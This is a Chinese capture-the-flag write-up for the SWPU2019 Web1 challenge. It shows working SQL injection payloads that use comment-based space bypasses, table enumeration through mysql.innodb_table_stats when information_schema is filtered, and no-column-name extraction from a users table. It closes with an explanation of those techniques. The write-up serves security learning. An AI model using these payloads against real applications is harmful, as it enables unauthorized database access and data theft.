[SWPU2019]Web1

先说测试结果,这个页面是实现不了注入的,过滤的真干净,可能有大佬可以,但是我目前是不行
所以随便注册了个账号进去

登陆之后的页面是这样的
注销登陆就是登出,没什么用
我们直接点进申请发布广告,看看有没有注入的可能性

输入’进去,发现广告详情处产生报错

所以可以确定是存在注入点的,嘻嘻
所以之后就是尝试注入,联合注入
其中有些敏感字符被替换
空格被替换为空 |
所以绕过这些去进行一个注入,首先group by找列数
'/**/group/**/by/**/23,' |
,’是为了和后面的limit产生闭合
之后的几个就是直接使用&&’1’=’1进行闭合了
找出有23列
之后就是正常注入,爆出查找回显位为2,3
之后爆出数据库
'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,' |
但是我们可以知道的是or被过滤了
information_schema的替换
所以information_schema用不了,经过查询可以使用mysql.innodb_table_stats进行替换
所以创造出payload
1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'&&'1'='1 |
然后是最后的查找字段了,但是,emm
过滤了information_schema,table还有代替的表名,column可没有
所以在查询之后发现的方法就是直接查询表内所有数据
相关payload如下
1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1 |
拿到flag
接下来是关键知识点解析:
sql注入之无表名注入
为什么会需要无列名注入?
我们常用的SQL注入方法是通过information_schema这个默认数据库来实现,可是你有没有想过,如果过滤了该数据库那么我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表(mysql.innodb_table_stats),这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns(sys.schema_auto_increment_columns)来获取表名。
但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。
无列名注入使用条件
无列名注入主要是适用于已经获取到数据表,但无法查询列的情况下,在大多数 CTF 题目中,information_schema 库被过滤,使用这种方法获取列名。
无列名注入原理
无列名注入的原理其实很简单,就是联合查询创建虚拟数据。可以看作将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以查询字段数一定要相同,如果我们查询的字段多于数据表中列的时候,就会出现报错。
实战演示:
正常查user表的数据是select * from user;
用联合查询的方式来查一下表中数据select 1,2,3 union select * from user;。很明显创建了虚拟数据(虚拟字段值123和虚拟表),虚拟表中列名变成了123。
只查一个列的字段值的话我们可以用:
解释一下,xxx就是自己命名的虚拟表的表名,可以自定义。这条sql语句在联合查询创建虚拟表xxx,虚拟列1,2,3的同时查询虚拟表第二列的数据。
select 2 from (select 1,2,3 union select * from user)xxx;
同时查多个列
select concat(2,3) from (select 1,2,3 union select * from user)xxx;
不过有时候 ` 也会被过滤,这时候我们就又要用到取别名(as)的操作了,把列名都换一换,那样查数据时候列名就不需要反引号了。
select 1 as a,2 as b,3 as c union select * from user;
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;
还有一种是利用JOIN去进行无列名注入,通过JOIN建立两个表之间的内连接,也就是说将两张表的列名给加起来,可能会爆出相同的列的名字,我们利用的就是这个特性来爆出列名。
select * from (select * from user as a join user as b)xxx;
得到了第一个列名id,下面这个payload就会给我们回显第二列的数据。
select * from (select * from user as a join user as b using(id))xxx;
剩下的以此类推。
select * from (select * from user as a join user as b using(id,username))xxx;